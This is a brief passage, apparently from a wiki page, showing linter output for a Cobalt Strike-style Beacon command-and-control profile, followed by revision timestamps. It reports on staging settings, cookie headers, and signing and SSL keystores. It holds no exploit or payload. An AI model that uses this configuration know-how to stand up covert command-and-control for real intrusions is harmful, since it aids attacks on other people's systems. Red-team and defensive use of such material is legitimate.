[+] .http-post.client.output transform+mangle+recover passed (128 byte[s])
[+] Beacon profile specifies an HTTP Cookie header. Will tell WinINet to allow this.
[!] .host_stage is FALSE. This will break staging over HTTP, HTTPS, and DNS!
[!] .code-signer.keystore is missing. Will not sign executables and DLLs
[+] Found SSL certificate keystore
```

---

Revision #30

Created 5 September 2022 02:59:50 by

Updated 28 October 2023 22:20:43 by unknown